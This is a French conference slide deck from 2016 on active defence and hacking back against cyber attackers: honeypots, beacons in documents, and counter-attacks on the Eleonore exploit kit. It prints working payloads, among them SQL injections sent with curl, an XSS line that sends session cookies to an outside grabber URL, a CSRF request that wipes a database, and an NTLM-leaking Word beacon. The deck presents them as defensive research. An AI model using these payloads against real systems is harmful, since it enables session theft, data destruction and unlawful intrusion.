Upload
dinhliem
View
214
Download
1
Embed Size (px)
Citation preview
Vers une lutte défensive intégrant des options offensives
Laurent OUDOT
@tehtris
TEHTRIS
PLAN ET INTRODUCTION
7 Avril 2016 GSDAYS.FR - @TEHTRIS 2
Intervenant
• Laurent Oudot – Carrière étatique • Ancien ingénieur-chercheur au CEA • Ancien expert opérationnel de la DGSE
– Speaker & Instructeur • Blackhat, Cansecwest, Defcon, HITB, Syscan…
– Directeur de la société TEHTRIS • Lutte technique contre le cyber-espionnage
– Tests d’intrusions… – Cyber-Surveillance…
7 Avril 2016 GSDAYS.FR - @TEHTRIS 3
eGambit
Objectif de cette présentation
• Partage de réflexions sur des moyens techniques – Contre-attaque & Défense active au-delà des méthodes
passives • Numérique++ • Vulnérabilités++ • Intrusions++ • #FAIL
• Contre-attaque numérique è Problèmes juridiques – Peu de discussions scientifiques et techniques
• Comment et pourquoi interagir avec des attaquants ? • Comment détecter leurs outils ? • Comment casser leurs méthodes de travail ? • Comment remonter jusqu’à la source ?
– Procéder à des identifications numériques ou physiques…
7 Avril 2016 GSDAYS.FR - @TEHTRIS 4
Avis
• Aucun lien entre cette présentation et mon ancienne carrière étatique – Merci de ne pas faire de raccourcis enfantins J
• Pas d’expertise juridique – Ne pas tenir compte des aspects légaux éventuels, • A vous d’étudier les aspects juridiques liés aux éléments
qui suivent avant d’en déduire une ligne de conduite
• Ceci n’est qu’une présentation, dans un contexte et dans un temps imparti (sujet complexe) • Beaucoup d’éléments ne peuvent pas y être traités (DOS…)
7 Avril 2016 GSDAYS.FR - @TEHTRIS 5
LA CONTRE ATTAQUE, INTERDITE ?
Mythe et Réalité Quelques exemples
7 Avril 2016 GSDAYS.FR - @TEHTRIS 6
Quelques exemples
• Exemple: USA, OHIO, 2011 – Ordinateur portable volé – Interceptions et screenshots (webcam…) – Procès perdu par “Absolute Software”
• Exemple: UK – Ajout de code pour récupérer l’adresse IP d’un
attaquant (mais pas plus)
• USA: La frustration des grands groupes pousse les autorités à discuter fortement sur ces sujets
7 Avril 2016 GSDAYS.FR - @TEHTRIS 7
2010: Microsoft vs Waledac
7 Avril 2016 GSDAYS.FR - @TEHTRIS
http://blog.seattlepi.com/microsoft/2010/02/25/with-an-unusual-legal-move-microsoft-disrupts-rampant-spam-botnet-waledac/
(…)ButMr.Rotenbergalsoworriesthatac8ons likeMicroso:'smightbecomeaform of "vigilan8sm" that entanglesinnocentvic8ms.Indeed, the single U.S.-based registrantof a suspect Internet address inMicroso:'scomplaint,StephenPaluckofBeaverton, Ore., said he was doingnothing wrong from his Internetaddress, Debtbgonesite.com. "I want itback," Mr. Paluck said. "I'm not doinganythingillegal."
8
“Digital Active Self Defense”
7 Avril 2016 GSDAYS.FR - @TEHTRIS 9
Références: Blackhat 2003, Defcon 2004
Work in progress
7 Avril 2016 GSDAYS.FR - @TEHTRIS 10
Gérer les intrus
• “Offensive Countermeasures: Making Attackers' Lives Miserable” – RsaConference 2012, PaulDotCom
• Trois thématiques – Déranger les attaquants – Trouver les attaquants – Attaquer les attaquants
• Pré-requis – Connaître son infrastructure et la surveiller • Sinon il est déjà difficile de comprendre ce qu’il se passe
7 Avril 2016 GSDAYS.FR - @TEHTRIS 11
7 Avril 2016 GSDAYS.FR - @TEHTRIS
Inventaires
Audits
SIEM
NIDS
Endpoint Security
Honeypots
Forensics
Threats Intelligence
1. Connaître son infrastructure
2. Superviser son infrastructure
3. Gérer les intrus
4. Réagir, Evoluer
12
RÉFLEXIONS
A. Déranger les attaquants B. Trouver les attaquants C. Attaquer les attaquants
7 Avril 2016 GSDAYS.FR - @TEHTRIS 13
A) Déranger les attaquants
• Objectifs – Faire perdre du temps aux pirates – Augmenter le niveau de stress – Augmenter la complexité d’une attaque – Rendre les attaquants plus faciles à détecter
• Moyens possibles – Faux serveurs / Fausses ressources (honeypots) – Fausses données (honeytokens) – Diversions
7 Avril 2016 GSDAYS.FR - @TEHTRIS 14
Honeypots: Risques & #Fail
• Deux tendances – Opensource à Audit du code possible à
Recherche de différences avec la réalité • Fingerprinting direct et simple (c.f. “nmap” …)
– ( Copy/Paste + Buzz Effect ) != Security • …
7 Avril 2016 GSDAYS.FR - @TEHTRIS 15
Social Engineering inversé
• Exemple @Cansecwest 2004 – “Towards Evil Honeypots ?! When they bite
back…“
7 Avril 2016 GSDAYS.FR - @TEHTRIS 16
B) Trouver les attaquants
• Objectifs – Localisation de l’attaquant – Identification de l’attaquant
• Moyens – Pièges informatiques (beacons) dans des
documents… – Fausses informations (honeytokens) dans des bases
7 Avril 2016 GSDAYS.FR - @TEHTRIS 17
“Web-bug” / “Beacons”
• Le concept est de créer de faux éléments pour savoir si quelqu’un est rentré et/ou qui est rentré, sans pour autant l’attaquer lui-même – Utilisé en pentests / attaques réelles – Utilisé pour de la protection intellectuelle
• Exemples – Documents Office avec des Macros / du code… – Documents PDF (Javascript…)
• Efficacité – Les attaquants chevronnés sont assez méfiants
7 Avril 2016 GSDAYS.FR - @TEHTRIS 18
Exemple avec Word
• Création d’un fichier « .doc » pour forcer MS Word à parler sur Internet (en cas de connectivité) et couplage avec une fausse authentification NTLMSSP. On peut aussi ajouter des options sur le hostname pour au moins voir des requêtes DNS.
<html><body>this is a test<br><img src="https://fauxcompte:[email protected]/fake/url/" width=0><br>end of test</body></html>
– Fonctions désactivés par MS (KB 834489) : « Les versions 3.0 à 6.0 d'Internet Explorer prennent en charge la syntaxe d'URL suivante pour HTTP ou HTTPS : http(s)://nom_utilisateur:mot_de_passe@serveur/ressource.ext »
– Réalité : • GET /fake/url/ HTTP/1.1
– Mozilla/5.0 (Macintosh; Intel Mac OS X) Word/14.61.0– Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET
CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)
– USER=fauxcompte– DOMAIN=FOOBAR-QSDKJ12– WORKSTATION=FOOBAR-QSDKJ12
7 Avril 2016 GSDAYS.FR - @TEHTRIS 19
C) Attaquer les attaquants
• Rappel: discussion avec un objectif technique, non validée au niveau juridique. Ne pas mettre en œuvre.
• Objectifs d’une contre-attaque – Remontée offensive jusqu’aux agresseurs – Suppression des données volées – Identifications physiques, interpellations (screenshots, webcam, GPS...) – Neutralisation de la menace
• Défense Active / Hacking back – Exploits de type « client-side » contre les attaquants
• Java, Javascript, Flash... – Faiblesses dans les protocoles
• Cas particulier : réseaux et machines internes
7 Avril 2016 GSDAYS.FR - @TEHTRIS 20
Contre-Attaque SSH
• Exemple @Cansecwest 2004 – “Towards Evil Honeypots ?! When they bite back…“
7 Avril 2016 GSDAYS.FR - @TEHTRIS 21
LUTTE ACTIVE CONTRE DES INFRASTRUCTURES OFFENSIVES
Rappel: ces slides ne sont que des extraits de réflexions. On ne traitera pas ici des techniques de type dénis de service (DOS) ou équivalentes, qui pourraient néanmoins permettre d’obtenir des résultats de type neutralisation
7 Avril 2016 GSDAYS.FR - @TEHTRIS 22
Situation Exploit Pack/Kit
7 Avril 2016 GSDAYS.FR - @TEHTRIS
MaliciousWebTool
FileSystem
Database
InternetServers
InternetUsers
RealAOackers
Vic$mRequests
EvilAnswers
Read/Write
ReadWrite
Read/WriteAskforsta8s8cs,logs,collecteddata…
23
Neutralisation Exploit Pack/Kit
7 Avril 2016 GSDAYS.FR - @TEHTRIS
MaliciousWebTool
FileSystem
Database
InternetServers
InternetUsers
RealAOackers
ContreA6aque?
Read/Write
ReadWrite
Read/WriteAskforsta8s8cs,logs,collecteddata…
24
Eleonore exploit pack
• USD 700 • Exploits – MDAC – MS009-02 – Telnet – Opera – Font tags – FireFox – PDF collab.collectEmailInfo – PDF collab.getIcon – PDF Util.Printf – DirectX DirectShow – Spreadsheet
7 Avril 2016 GSDAYS.FR - @TEHTRIS 25
Statistiques des attaquants ? SQL
• Quand ELEONORE attaque un client – insert into statistic (date, ip, os, br, country,
refer) values ('2010-05-12 01:47:01', '192.168.20.2', ’Windows', 'FireFox 1.0', '--',’infected.com’)
• Source code – $q = mysql_query("insert into statistic (date, ip,
os, br, country, refer) values ('".date("Y-m-d H:i:s", time())."', '".$ip."', '".$os."', '".$br."', '".$country."','".$ref."')");
• Vulnerabilités ? Variables: $ip $os $br $country $ref
Exploitable? No Protected Protected No ????
7 Avril 2016 GSDAYS.FR - @TEHTRIS 26
Attaque des statistiques SQL
• TEHTRI-SA-2010-012 Eleonore: SQL Injection as a fake web victim • Source code analysis
@$purl = $_SERVER['HTTP_REFERER'];$ref=parse_url($purl);@$ref=$ref['host']; // keep http://xxxxx/a/b.php
• SQL query de ELEONORE – $q = mysql_query("insert into statistic (date, ip, os, br,
country, refer) values ('".date("Y-m-d H:i:s", time())."', '".$ip."', '".$os."', '".$br."', '".$country."','".$ref."')");
• SQL injection REFERER ! – insert into statistic (date, ip, os, br, country, refer)
values ('2010-05-12 01:48:13', '192.168.20.3', 'Unknown OS :(', 'FireFox 1.0', '--','google.com'),(1,2,3,4,5,6) -- ')
7 Avril 2016 GSDAYS.FR - @TEHTRIS 27
Encoding mysql> select hex('a');+------------------------------------------------------+| hex(’a’) |+------------------------------------------------------+| 61 | +------------------------------------------------------+1 row in set (0,00 sec)
• Ajouter une image pour du tracking :– <img src="http://tehtri-security.com/pics/all.png" width=0>– In hex:
3C696D67207372633D22687474703A2F2F7465687472692D73656375726974792E636F6D2F706963732F616C6C2E706E67222077696474683D303E
7 Avril 2016 GSDAYS.FR - @TEHTRIS 28
Exploit
• Ajout d’une image de tracking pour récupérer l’ adresse IP des attaquants qui gèrent le panel admin de Eleonore – On peut mettre du javascript...
• TEHTRI-SA-2010-013 Eleonore: permanent XSS against admin panel
• [0day] curl -s -L "http://192.168.20.3/eleo/" -A "Firefox/1.0 Windows" -e "http://referer.com'),(1,2,3,4,5,0x3C696D67207372633D22687474703A2F2F7465687472692D73656375726974792E636F6D2F706963732F616C6C2E706E67222077696474683D303E) -- /"
7 Avril 2016 GSDAYS.FR - @TEHTRIS 29
Vol de session des pirates
• Cookies utilisés pour l’authentification des sessions du panel admin (stat.php)
• Avec l’exploit SQL injection précédent, on peut ajouter du code HTML pour voler les sessions des admins distants (donc des attaquants qui pilotent une campagne malveillante ELEONORE)
<script>document.write('<img src="http://mysite.com/mygrabber.php?cookie="'+document.cookie+' />');</script>
7 Avril 2016 GSDAYS.FR - @TEHTRIS 30
Failles XSS & XSRF
• Les sessions ne sont pas gérées correctement • On peut abuser des clients qui viennent
administrer Eleonore avec du XSRF • Example: Destruction de la base de données
utilisée par les pirates • TEHTRI-SA-2010-014 Eleonore: XSRF in
stat.php • [0day] Just send clients to /stat.php?clear=1
<img src=« http://192.168.20.3/eleo/stat.php?clear=1 » width=0>
7 Avril 2016 GSDAYS.FR - @TEHTRIS 31
Abimer la base des pirates
• TEHTRI-SA-2010-015 Eleonore: SQL injection in getexe.php
• SQL Injection dans “getexe.php” – Sauf les versions 1.4 and 1.3.2 $ip = $_SERVER['REMOTE_ADDR'];...
elseif (isset($_POST['spl'])) $spl = $_POST['spl'];
...
$q = mysql_query("update statistic set good=1, spl='".$spl."' where ip='".$ip."'");
• Exemple d’exploit – curl -L http://192.168.20.3/eleo/getexe.php -d
"spl=0', ip=0 where 1=1 -- "
7 Avril 2016 GSDAYS.FR - @TEHTRIS 32
7 Avril 2016 GSDAYS.FR - @TEHTRIS
Typedemenace Contre-a6aque Exempled’effetsobtenus
WebShells Injec8on+AOackC&C… Destroy/Iden8fyaOackers
Pharming/Phishing Injec8on+Retrievetargets… Recover/Iden8fy/Destroy
ExploitPacks AOackC&C… Destroy/Iden8fyaOackers
WebbasedBotnets Detect/Analyze,Infiltrate+Control Infiltrate/Iden8fy/KillBotnets
Sourcemalveillante Exploitsannoncés Effetsobtenus
Backdoor:Sniper 1Remote0days Destroy/Iden8fyaOackers
ExploitPack:Eleonore 4Remote0days Destroy/Iden8fyaOackers
ExploitPack:Liberty 2Remote0days Destroy/Iden8fyaOackers
ExploitPack:Lucky 1Remote0days Destroy/Iden8fyaOackers
ExploitPack:Neon 2Remote0days Destroy/Iden8fyaOackers
ExploitPack:Yes 3Remote0days Destroy/Iden8fyaOackers
33
LUTTE ACTIVE CONTRE LES RANSOMWARES ET LES APT
7 Avril 2016 GSDAYS.FR - @TEHTRIS 34
Possibilités
• On peut envisager des conflits tactiques entre des agents automatiques/intelligents et des armes informatiques nouvelles
• Les outils défensifs devront réussir à identifier les nouvelles menaces inconnues, au delà des signatures de menaces connues – Des réactions devront être prévues au cas par cas • Automatiques • Semi-automatiques • Manuelles
7 Avril 2016 GSDAYS.FR - @TEHTRIS 35
Efficacité / Sécurité
7 Avril 2016 GSDAYS.FR - @TEHTRIS
Pas d'alerte et donc Pas de réponse automatique
Alerte et réponse automatique ( traitement de l’incident )
Pas d'attaque
Vrai négatif
Comportement normal en temps de « paix » dans le SI
Faux positif
Risque sur la production avec perturbation du SI
Attaque réelle en
cours
Faux négatif
Les intrus réussissent à rentrer et à commettre des méfaits
Vrai positif
Neutralisation et perturbation des actions offensives
36
Evolutions offensives • Les cyber-armes utilisées pour mener des campagnes de type Ransomware
s’améliorent à une vitesse inquiétante • Les défenses usuelles commencent à ne plus pouvoir résister même dans
les environnements plutôt bien protégés – Signatures: nouvelles versions, mutations, multiplications… – Limitations sur les exécutions: programmes standards – Limitations sur les droits: pas toujours besoin d’être admin
• Les améliorations des outils offensifs dessinent un futur complexe (rien que pour 2016) – Furtivité locale avancée
• Efficacité des antivirus ? – De moins en moins de scrupules/respect pour les cibles
• Hôpitaux… – Déplacements latéraux
• Contamination de tout un part avec automatisation de méthodes intrusives – Utilisation des API pour le Cloud
• Destructions des mails et des espaces de stockage – Ransomware as a Service
7 Avril 2016 GSDAYS.FR - @TEHTRIS 37
Exemple de Ransomware
7 Avril 2016 GSDAYS.FR - @TEHTRIS 38
Défense active associée
• Identification comportementale malveillante – Est-ce normal que WINWORD
• Se promène sur Internet ? • Lance des commandes externes ?
– Que ces commandes s’amusent à installer et à lancer des binaires sur le disque sur ?
• …
• Actions offensives automatiques – Alertes de sécurité – Neutralisation des processus louches
• Actions offensives manuelles – Partage des éléments et analyses dans les bases
publiques sur Internet pour casser dramatiquement la furtivité des actions et des outils malveillants associées
7 Avril 2016 GSDAYS.FR - @TEHTRIS 39
Exemple d’attaque bas-niveau
• Ransomware “PETYA” en mode “0day” – Pas de signature connue
• Principes utiles – Restrictions d’exécutions – Moindre privilège (!=admin)
• Problèmes – Attaque ultra rapide (quelques secondes) – Très peu de temps pour des analyses type
sandbox, heuristiques, etc
7 Avril 2016 GSDAYS.FR - @TEHTRIS 40
Admin local
• Mécanisme d’UAC basique – Social engineering
7 Avril 2016 GSDAYS.FR - @TEHTRIS 41
Attaque activée
• Un simple clic sur YES, et le temps de survie de la machine est quasi nul
7 Avril 2016 GSDAYS.FR - @TEHTRIS 42
Quid d’une réponse offensive ?
• Gros défi au niveau vitesse & réactivité – La machine a déjà rebooté (sauf config spéciale) pour
lancer les prochaines actions ce qui complexifie les opérations classiques de défense • Détecter le processus “étrange” • Analyser le processus • Neutraliser le processus
• Cet exemple (de plus) milite pour les efforts de SSI à porter en amont – Sensibilisation + Blindage + Surveillance avancés – La réponse offensive est ici trop tardive si le reste de la
sécurité n’est pas déjà nominal, et/ou que les analyses ne sont pas effectuées à temps
7 Avril 2016 GSDAYS.FR - @TEHTRIS 43
CONCLUSIONS
7 Avril 2016 GSDAYS.FR - @TEHTRIS 44
Possibilités
• Techniquement, on a vu que l’on peut effectivement freiner et gêner les attaquants – Honeypots – Web bugs / Beacons – Casser les infrastructures d’attaques utilisées par les
agresseurs ( exemple: Exploit Kit ) – Endpoint Security qui détectent puis cassent les
outils malveillants ( APT, Ransomwares … ) – Rendre l’attaque trop couteuse, trop risquée • Publier les codes malveillants, ajouter du stress
7 Avril 2016 GSDAYS.FR - @TEHTRIS 45
Conclusions
• Au niveau tactique, la contre-attaque informatique peut avoir de multiples niveaux, suivant les moyens utilisés – Armes étatiques, liens avec le monde réel, etc. – Elle n’aura aucun effet rapide en cas de réel “Big One”
• Exemple: ransomware à sabotage pur et dur
• Au niveau stratégique – Les pays adopteront des doctrines (Cyber-Dissuasion…) – Mais au niveau des individus et des entreprises, la frustration
restera de mise, car il semble difficile/impossible de pouvoir mener des actions trop offensives • Aspects légaux, Risques, Victimes innocentes...
• “La meilleure défense, c’est l’attaque”, oui mais : – Avant de rêver à des vengeances numériques (et autres horreurs
juridiques), il faut commencer par se défendre réellement, pour adopter ensuite des options de défenses actives
• Gros intérêt ludique, scientifique et technique 7 Avril 2016 GSDAYS.FR - @TEHTRIS 46
MERCI POUR VOTRE ATTENTION J
N’hésitez pas à poser vos questions
7 Avril 2016 GSDAYS.FR - @TEHTRIS
TEHTRIS
47